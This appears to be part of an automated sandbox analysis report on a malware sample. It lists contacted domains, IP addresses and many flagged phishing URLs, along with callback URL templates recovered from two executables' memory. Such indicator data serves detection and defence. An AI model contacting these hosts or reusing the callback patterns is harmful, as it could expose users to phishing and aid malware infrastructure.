http://utbidet-ugeas.biz/d/N?02719D2B6A759D2B6A439D036A719DF8F6F99E2F2C709DEBC273981D4443B3125841AD056A	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02F3AE3B8BF7AE3B8BC1AE138BF3AEE8177BAD3FCDF2AEFB23F1AB0DA5C18002B9C39E158B	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02F9817318F9817318CB815F18F981A0847182775EF881B3B0FB844536CBAF4A2AC9B15D18	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0264C737B960C737B956C71FB964C7E425ECC433FF65C7F71166C2019756E90E8B54F719B9	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0222ACE7EF26ACE7EF10ACCFEF22AC3473AAAFE3A923AC274720A9D1C11082DEDD129CC9EF	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?022958A28F2D58A28F1B588A8F29587113A15BA6C9285862272B5D94A11B769BBD19688C8F	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02DF32E9EBDF32E9EBED32C5EBDF323A775731EDADDE322943DD37DFC5ED1CD0D9EF02C7EB	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02DFC579CEDBC579CEEDC551CEDFC5AA5257C67D88DEC5B966DDC04FE0EDEB40FCEFF557CE	100%	Avira URL Cloud	phishing
http://sngrcudng.ph/	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?0230CB89F434CB89F402CBA1F430CB5A68B8C88DB231CB495C32CEBFDA02E5B0C600FBA7F4	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02AA0445D9AE0445D998046DD9AA0496452207419FAB048571A80173F7982A7CEB9A346BD9	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0270B0DD7874B0DD7842B0F57870B00EE4F8B3D93E71B01DD072B5EB56429EE44A4080F378	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0259459B175D459B176B45B3175945488BD1469F5158455BBF5B40AD396B6BA2256975B517	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0230F2A4CC34F2A4CC02F28CCC30F27750B8F1A08A31F2646432F792E202DC9DFE00C28ACC	100%	Avira URL Cloud	phishing
http://qzyobaes.ph/	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02E00271C9E40271C9D20259C9E002A2556801758FE102B161E20747E7D22C48FBD0325FC9	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02C2F15B13C6F15B13F0F13313C2F1888F4AF25F55C3F19BBBC0F46D3DF0DF6221F2C17513	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0238A7C8CD3CA7C8CD0AA7E0CD38A71B51B0A4CC8B39A708653AA2FEE30A89F1FF0897E6CD	100%	Avira URL Cloud	phishing
http://%s.biz/d/G?	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02440A4574400A4574760A6D74440A96E8CC094132450A85DC460F735A76247C46743A6B74	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02228D4823268D4823108D6023228D9BBFAA8E4C65238D888B20887E0D10A3711112BD6623	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02F3C70FE2F7C70FE2C1C727E2F3C7DC7E7BC40BA4F2C7CF4AF1C239CCC1E936D0C3F721E2	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02E4E8BC79E0E8BC79D6E89479E4E86FE56CEBB83FE5E87CD1E6ED8A57D6C6854BD4D89279	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02901E6DC6941E6DC6A21E45C6901EBE5A181D6980911EAD6E921B5BE8A23054F4A02E43C6	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0278E188437CE188434AE1A04378E15BDFF0E28C0579E148EB7AE4BE6D4ACFB17148D1A643	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02181D32DD1C1D32DD2A1D1ADD181DE141901E369B191DF2751A1804F32A330BEF282D1CDD	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02C4360C9AC0360C9AF636249AC436DF064C3508DCC536CC32C6333AB4F61835A8F406229A	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02AA002DEEAE002DEE980005EEAA00FE72220329A8AB00ED46A8051BC0982E14DC9A3003EE	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02C2424DC1C6424DC1F04265C1C2429E5D4A414987C3428D69C0477BEFF06C74F3F27263C1	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?029818745F9C18745FAA185C5F9818A7C3101B70199918B4F79A1D4271AA364D6DA8285A5F	100%	Avira URL Cloud	phishing
http://ww99.utbidet-ugeas.biz/d/N?02DF32E9EBDF32E9EBED32C5EBDF323A775731EDADDE322943DD37DFC5ED1CD0D9	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02A2A15239A6A1523990A17A39A2A181A52AA2567FA3A19291A0A46417908F6B0B92917C39	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0254DF8D9D50DF8D9D66DFA59D54DF5E01DCDC89DB55DF4D3556DABBB366F1B4AF64EFA39D	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0292D8E8BD96D8E8BDA0D8C0BD92D83B211ADBECFB93D8281590DDDE93A0F6D18FA2E8C6BD	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02CA2C2C1ACE2C2C1AF82C041ACA2CFF86422F285CCB2CECB2C8291A34F8021528FA1C021A	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0252CF139856CF139860CF3B9852CFC004DACC17DE53CFD33050CA25B660E12AAA62FF3D98	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?028EBB08B88ABB08B8BCBB20B88EBBDB2406B80CFE8FBBC8108CBE3E96BC95318ABE8B26B8	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?025A7B66115E7B6611687B4E115A7BB58DD27862575B7BA6B9587E503F68555F236A4B4811	100%	Avira URL Cloud	phishing
http://ww99.utbidet-ugeas.biz/d/N?0258BC40CD58BC40CD6ABC6CCD58BC9351D0BF448B59BC80655AB976E36A9279FF	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0222AC570726AC570710AC7F0722AC849BAAAF534123AC97AF20A9612910826E35129C7907	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
vyvwgip.ws	64.70.19.203	true	false	unknown
ucotvodykr.vg	88.198.29.97	true	false	unknown
yaeabom.vg	88.198.29.97	true	false	unknown
wmqgigbtk.ph	45.79.222.138	true	false	unknown
ucejh.ws	64.70.19.203	true	false	unknown
zaasnvseiocq.vg	88.198.29.97	true	false	unknown
lgggysueya.vg	88.198.29.97	true	false	unknown
jcbjoxuf.ph	45.79.222.138	true	false	unknown
oqfoicsg.ws	64.70.19.203	true	false	unknown
yymav.vg	88.198.29.97	true	false	unknown
evqxaweeokokk.ws	64.70.19.203	true	false	unknown
kkpyodusyue.ph	45.79.222.138	true	false	unknown
leumyqgypiwu.vg	88.198.29.97	true	false	unknown
luqcqyqgqia.ws	64.70.19.203	true	false	unknown
xymaafimcbiqng.ws	64.70.19.203	true	false	unknown
qzyobaes.ph	45.79.222.138	true	false	unknown
vexmm.vg	88.198.29.97	true	false	unknown
pkyjaqieysowg.ws	64.70.19.203	true	false	unknown
lswadrkcxgrow.vg	88.198.29.97	true	false	unknown
rpatujwyyeauc.vg	88.198.29.97	true	false	unknown
aecaecdyk.ph	45.79.222.138	true	false	unknown
szwla.ph	45.79.222.138	true	false	unknown
mnhesjsdm.vg	88.198.29.97	true	false	unknown
chgosmq.ws	64.70.19.203	true	false	unknown
ngkobuyadgm.vg	88.198.29.97	true	false	unknown
nisugdcg.vg	88.198.29.97	true	false	unknown
pwdynpushjp.ph	45.79.222.138	true	false	unknown
otduu.vg	88.198.29.97	true	false	unknown
moiuldundirk.ws	64.70.19.203	true	false	unknown
gubwnmu.ws	64.70.19.203	true	false	unknown
ungghigcsoc.ws	64.70.19.203	true	false	unknown
wwemigepcoiz.ph	45.79.222.138	true	false	unknown
xxtgm.ph	45.79.222.138	true	false	unknown
aswkcisacbeyp.ph	45.79.222.138	true	false	unknown
idsos.ph	45.79.222.138	true	false	unknown
swnyn.vg	88.198.29.97	true	false	unknown
fksip.vg	88.198.29.97	true	false	unknown
qaggihab.ph	45.79.222.138	true	false	unknown
xqkwnymes.ws	64.70.19.203	true	false	unknown
wimgtxamm.ph	45.79.222.138	true	false	unknown
yiula.ph	45.79.222.138	true	false	unknown
xvmiuqwa.ph	45.79.222.138	true	false	unknown
trpnqzwuuuy.vg	88.198.29.97	true	false	unknown
rnmkcgd.ph	45.79.222.138	true	true	unknown
fosfeeu.ws	64.70.19.203	true	false	unknown
plgscda.vg	88.198.29.97	true	false	unknown
yulxrzcirsmje.ws	64.70.19.203	true	false	unknown
siaqwowge.vg	88.198.29.97	true	false	unknown
cqaksdcu.ph	45.79.222.138	true	false	unknown
ykoik.vg	88.198.29.97	true	false	unknown
hucdyujmukfsx.vg	88.198.29.97	true	false	unknown
ycszjetjpejct.vg	88.198.29.97	true	false	unknown
cepgcqyuyucv.ph	45.79.222.138	true	false	unknown
xyumagcja.ws	64.70.19.203	true	false	unknown
gkquszao.vg	88.198.29.97	true	false	unknown
yyeeoriseyg.ws	64.70.19.203	true	false	unknown
oygsg.ws	64.70.19.203	true	false	unknown
xaamz.ws	64.70.19.203	true	false	unknown
kzcgdwoxu.ws	64.70.19.203	true	false	unknown
sngrcudng.ph	45.79.222.138	true	true	unknown
utbidet-ugeas.biz	172.234.222.143	true	false	unknown
grrhyqk.ph	45.79.222.138	true	false	unknown
voagvgkqdcif.ph	45.79.222.138	true	false	unknown
kgsoqig.ph	45.79.222.138	true	false	unknown
nzxakig.ph	45.79.222.138	true	false	unknown
aykunskrl.ws	64.70.19.203	true	false	unknown
uclgw.vg	88.198.29.97	true	false	unknown
kkraxlrbejnyc.ph	45.79.222.138	true	false	unknown
saoucywmfc.ws	64.70.19.203	true	false	unknown
aqggeh.vg	88.198.29.97	true	false	unknown
quivjq.ph	45.79.222.138	true	false	unknown
kusgo.vg	88.198.29.97	true	false	unknown
igwfozqiylay.ws	64.70.19.203	true	false	unknown
cmepmsjke.ws	64.70.19.203	true	false	unknown
sxsyiekdaqqd.ws	64.70.19.203	true	false	unknown
dscpiycqvwmzyy.ws	64.70.19.203	true	false	unknown
xgsyhs.ph	45.79.222.138	true	false	unknown
lqkrw.ph	45.79.222.138	true	false	unknown
byfqgessikm.ws	64.70.19.203	true	false	unknown
qnbktpkkc.vg	88.198.29.97	true	false	unknown
iopqq.vg	88.198.29.97	true	false	unknown
tczoykwyy.ph	45.79.222.138	true	false	unknown
slmcftxsown.ws	64.70.19.203	true	false	unknown
jyioufyfcv.ws	64.70.19.203	true	false	unknown
mcyzcuygmql.ph	45.79.222.138	true	false	unknown
laaaryyqk.ws	64.70.19.203	true	false	unknown
ucuuyes.ph	45.79.222.138	true	false	unknown
mkizqeew.ws	64.70.19.203	true	false	unknown
oigamwo.ws	64.70.19.203	true	false	unknown
irqmyes.ph	45.79.222.138	true	false	unknown
ekquqk.ws	64.70.19.203	true	false	unknown
mycccldql.vg	88.198.29.97	true	false	unknown
cqlcikiwc.ws	64.70.19.203	true	false	unknown
xrwbjrsfq.vg	88.198.29.97	true	false	unknown
rkoolkuso.ws	64.70.19.203	true	false	unknown
stivhqwg.vg	88.198.29.97	true	false	unknown
kebmuam.ws	64.70.19.203	true	false	unknown
mqqklel.ws	64.70.19.203	true	false	unknown
euuduok.ph	45.79.222.138	true	false	unknown
guesfdq.cg	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://utbidet-ugeas.biz/d/N?029A65481B9E65481BA865601B9A659B8712664C5D9B6588B398607E35A84B7129AA55661B	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02250FF32B210FF32B170FDB2B250F20B7AD0CF76D240F3383270AC5051721CA19153FDD2B	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?020612B11E0212B11E3412991E061262828E11B558071271B604178730343C882C36229F1E	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02F3B38DB4F7B38DB4C1B3A5B4F3B35E287BB089F2F2B34D1CF1B6BB9AC19DB486C383A3B4	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0260CBA4E364CBA4E352CB8CE360CB777FE8C8A0A561CB644B62CE92CD52E59DD150FB8AE3	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?023415CCA13015CCA10615E4A134151F3DBC16C8E735150C093610FA8F063BF5930425E2A1	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02F5273F7BF1273F7BC727177BF527ECE77D243B3DF427FFD3F7220955C7090649C517117B	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02683F99916C3F99915A3FB191683F4A0DE03C9DD7693F59396A3AAFBF5A11A0A3580FB791	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02596BC4FA5D6BC4FA6B6BECFA596B1766D168C0BC586B04525B6EF2D46B45FDC8695BEAFA	true	Avira URL Cloud: phishing	unknown
http://rnmkcgd.ph/	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02354A3FAE314A3FAE074A17AE354AEC32BD493BE8344AFF06374F09800764069C057A11AE	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0238509317385093170A50BF173850408BB0539751395053BF3A55A5390A7EAA250860BD17	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02483F39874C3F39877A3F1187483FEA1BC03C3DC1493FF92F4A3A0FA97A1100B5780F1787	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02873C3107833C3107B53C1907873CE29B0F3F3541863CF1AF85390729B5120835B70C1F07	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0204387E3A00387E3A3638563A0438ADA68C3B7A7C0538BE92063D4814361647083408503A	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?028C245EC388245EC3BE2476C38C248D5F04275A858D249E6B8E2168EDBE0A67F1BC1470C3	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02B2064794B606479480066F94B20694083A0543D2B306873CB00371BA80287EA682366994	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?020C96BF400896BF403E9697400C966CDC8495BB060D967FE80E93896E3EB886723CA69140	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02C255B05CC655B05CF055985CC25563C04A56B41AC35570F4C0508672F07B896EF2659E5C	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?029A328EEA9E328EEAA832A6EA9A325D7612318AAC9B324E429837B8C4A81CB7D8AA02A0EA	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02C2C6213AC6C6213AF0C6093AC2C6F2A64AC5257CC3C6E192C0C31714F0E81808F2F60F3A	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?029AD45BF19ED45BF1A8D473F19AD4886D12D75FB79BD49B5998D16DDFA8FA62C3AAE475F1	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02D0BD8FD6D4BD8FD6E2BDA7D6D0BD5C4A58BE8B90D1BD4F7ED2B8B9F8E293B6E4E08DA1D6	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0289EC2CDB8DEC2CDBBBEC04DB89ECFF4701EF289D88ECEC738BE91AF5BBC215E9B9DC02DB	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02E448F1E4E048F1E4D64899E4E44822786C4BF5A2E548314CE64DC7CAD666C8D6D478DFE4	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0290624A2D94624A2DA262622D906299B118614E6B91628A8592677C03A24C731FA052642D	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?025CCC369E58CC369E6ECC1E9E5CCCE502D4CF32D85DCCF6365EC900B06EE20FAC6CFC189E	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02C3BA0D26C7BA0D26F1BA2526C3BADEBA4BB90960C2BACD8EC1BF3B08F1943414F38A2326	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0229279E242D279E241B27B62429274DB8A1249A6228275E8C2B22A80A1B09A7161917B024	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02301DF5B8341DF5B8021DDDB8301D2624B81EF1FE311D35103218C3960233CC8A002DDBB8	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02A2884F39A6884F3990886739A2889CA52A8B4B7FA3888F91A08D791790A6760B92B86139	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?025C65CBD45865CBD46E65A3D45C651848D466CF925D650B7C5E60FDFA6E4BF2E66C55E5D4	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0260AF5AAD64AF5AAD52AF72AD60AF8931E8AC5EEB61AF9A0562AA6C835281639F509F74AD	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02B0839E3FB4839E3F8283B63FB0834DA338809A79B1835E97B286A81182ADA70D80B3B03F	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02B11815CCB51815CC83183DCCB118C650391B118AB018D564B31D23E283362CFE81283BCC	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0278AEB67A7CAEB67A4AAE9E7A78AE65E6F0ADB23C79AE76D27AAB80544A808F48489E987A	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?029C4E8EC09C4E8EC0AE4EA2C09C4E5D5C144D8A869D4E4E689E4BB8EEAE60B7F2AC7EA0C0	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?022E7402612A7402611C742A612E74D1FDA67706272F74C2C92C71344F1C5A3B531E442C61	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?023878CFF83C78CFF80A78E7F838781C64B07BCBBE39780F503A7DF9D60A56F6CA0848E1F8	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02CA081B7BCE081B7BF808337BCA08C8E7420B1F3DCB08DBD3C80D2D55F8262249FA38357B	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0258BC40CD58BC40CD6ABC6CCD58BC9351D0BF448B59BC80655AB976E36A9279FF688C6ECD	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?020FE83E530BE83E533DE816530FE8EDCF87EB3A150EE8FEFB0DED087D3DC607613FD81053	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02CAC7ED44CEC7ED44F8C7C544CAC73ED842C4E902CBC72DECC8C2DB6AF8E9D476FAF7C344	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?029AC796FD9EC796FDA8C7BEFD9AC7456112C492BB9BC7565598C2A0D3A8E9AFCFAAF7B8FD	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02966C15CA926C15CAA46C3DCA966CC6561E6F118C976CD562946923E4A4422CF8A65C3BCA	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0259C57B615DC57B616BC5536159C5A8FDD1C67F2758C5BBC95BC04D4F6BEB425369F55561	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02342BE100302BE100062BC900342B329CBC28E546352B21A8362ED72E0605D832041BCF00	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02C45977D0C05977D0F6595FD0C459A44C4C5A7396C559B778C65C41FEF6774EE2F46959D0	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02BE5D624BBA5D624B8C5D4A4BBE5DB1D7365E660DBF5DA2E3BC5854658C735B798E6D4C4B	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?028C02AD078802AD07BE0285078C027E9B0401A9418D026DAF8E079B29BE2C9435BC328307	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02A280D965A680D9659080F165A2800AF92A83DD23A38019CDA085EF4B90AEE05792B0F765	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02C6E82343C2E82343F4E80B43C6E8F0DF4EEB2705C7E8E3EBC4ED156DF4C61A71F6D80D43	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0210E2B2A714E2B2A722E29AA710E2613B98E1B6E111E2720F12E7848922CC8B9520D29CA7	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0235D26E0531D26E0507D2460535D2BD99BDD16A4334D2AEAD37D7582B07FC573705E24005	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02662B7E38662B7E38542B5238662BADA4EE287A7E672BBE90642E48165405470A561B5038	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?025CCE9BE558CE9BE56ECEB3E55CCE4879D4CD9FA35DCE5B4D5ECBADCB6EE0A2D76CFEB5E5	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02719D2B6A759D2B6A439D036A719DF8F6F99E2F2C709DEBC273981D4443B3125841AD056A	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02F3AE3B8BF7AE3B8BC1AE138BF3AEE8177BAD3FCDF2AEFB23F1AB0DA5C18002B9C39E158B	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02DF32E9EBDF32E9EBED32C5EBDF323A775731EDADDE322943DD37DFC5ED1CD0D9EF02C7EB	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0264C737B960C737B956C71FB964C7E425ECC433FF65C7F71166C2019756E90E8B54F719B9	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02F9817318F9817318CB815F18F981A0847182775EF881B3B0FB844536CBAF4A2AC9B15D18	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0222ACE7EF26ACE7EF10ACCFEF22AC3473AAAFE3A923AC274720A9D1C11082DEDD129CC9EF	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?022958A28F2D58A28F1B588A8F29587113A15BA6C9285862272B5D94A11B769BBD19688C8F	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02DFC579CEDBC579CEEDC551CEDFC5AA5257C67D88DEC5B966DDC04FE0EDEB40FCEFF557CE	false	Avira URL Cloud: phishing	unknown
http://sngrcudng.ph/	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?0230CB89F434CB89F402CBA1F430CB5A68B8C88DB231CB495C32CEBFDA02E5B0C600FBA7F4	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02AA0445D9AE0445D998046DD9AA0496452207419FAB048571A80173F7982A7CEB9A346BD9	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0259459B175D459B176B45B3175945488BD1469F5158455BBF5B40AD396B6BA2256975B517	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0230F2A4CC34F2A4CC02F28CCC30F27750B8F1A08A31F2646432F792E202DC9DFE00C28ACC	false	Avira URL Cloud: phishing	unknown
http://qzyobaes.ph/	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02C2F15B13C6F15B13F0F13313C2F1888F4AF25F55C3F19BBBC0F46D3DF0DF6221F2C17513	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0270B0DD7874B0DD7842B0F57870B00EE4F8B3D93E71B01DD072B5EB56429EE44A4080F378	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02E00271C9E40271C9D20259C9E002A2556801758FE102B161E20747E7D22C48FBD0325FC9	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0238A7C8CD3CA7C8CD0AA7E0CD38A71B51B0A4CC8B39A708653AA2FEE30A89F1FF0897E6CD	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02440A4574400A4574760A6D74440A96E8CC094132450A85DC460F735A76247C46743A6B74	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02228D4823268D4823108D6023228D9BBFAA8E4C65238D888B20887E0D10A3711112BD6623	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02F3C70FE2F7C70FE2C1C727E2F3C7DC7E7BC40BA4F2C7CF4AF1C239CCC1E936D0C3F721E2	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02E4E8BC79E0E8BC79D6E89479E4E86FE56CEBB83FE5E87CD1E6ED8A57D6C6854BD4D89279	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02C4360C9AC0360C9AF636249AC436DF064C3508DCC536CC32C6333AB4F61835A8F406229A	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02901E6DC6941E6DC6A21E45C6901EBE5A181D6980911EAD6E921B5BE8A23054F4A02E43C6	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0278E188437CE188434AE1A04378E15BDFF0E28C0579E148EB7AE4BE6D4ACFB17148D1A643	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02181D32DD1C1D32DD2A1D1ADD181DE141901E369B191DF2751A1804F32A330BEF282D1CDD	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02AA002DEEAE002DEE980005EEAA00FE72220329A8AB00ED46A8051BC0982E14DC9A3003EE	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02C2424DC1C6424DC1F04265C1C2429E5D4A414987C3428D69C0477BEFF06C74F3F27263C1	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?029818745F9C18745FAA185C5F9818A7C3101B70199918B4F79A1D4271AA364D6DA8285A5F	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0292D8E8BD96D8E8BDA0D8C0BD92D83B211ADBECFB93D8281590DDDE93A0F6D18FA2E8C6BD	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02CA2C2C1ACE2C2C1AF82C041ACA2CFF86422F285CCB2CECB2C8291A34F8021528FA1C021A	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?028EBB08B88ABB08B8BCBB20B88EBBDB2406B80CFE8FBBC8108CBE3E96BC95318ABE8B26B8	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0254DF8D9D50DF8D9D66DFA59D54DF5E01DCDC89DB55DF4D3556DABBB366F1B4AF64EFA39D	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02A2A15239A6A1523990A17A39A2A181A52AA2567FA3A19291A0A46417908F6B0B92917C39	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0252CF139856CF139860CF3B9852CFC004DACC17DE53CFD33050CA25B660E12AAA62FF3D98	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?025A7B66115E7B6611687B4E115A7BB58DD27862575B7BA6B9587E503F68555F236A4B4811	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0222AC570726AC570710AC7F0722AC849BAAAF534123AC97AF20A9612910826E35129C7907	false	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://%s.biz/d/N?http://%s.biz/d/G?http://%s/d/rpt?%smodemisdn%u.%u.%u.%s	f3VrANv7Uw.exe, 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://%s.biz/d/N?	f3VrANv7Uw.exe, f3VrANv7Uw.exe, 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://ww99.utbidet-ugeas.biz/d/N?02662B7E38662B7E38542B5238662BADA4EE287A7E672BBE90642E48165405470A	oumkovet.exe, 00000001.00000003.2114463338.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ww99.utbidet-ugeas.biz/d/N?029C4E8EC09C4E8EC0AE4EA2C09C4E5D5C144D8A869D4E4E689E4BB8EEAE60B7F2	oumkovet.exe, 00000001.00000003.2126128477.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://%s.biz/d/G?	f3VrANv7Uw.exe, f3VrANv7Uw.exe, 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
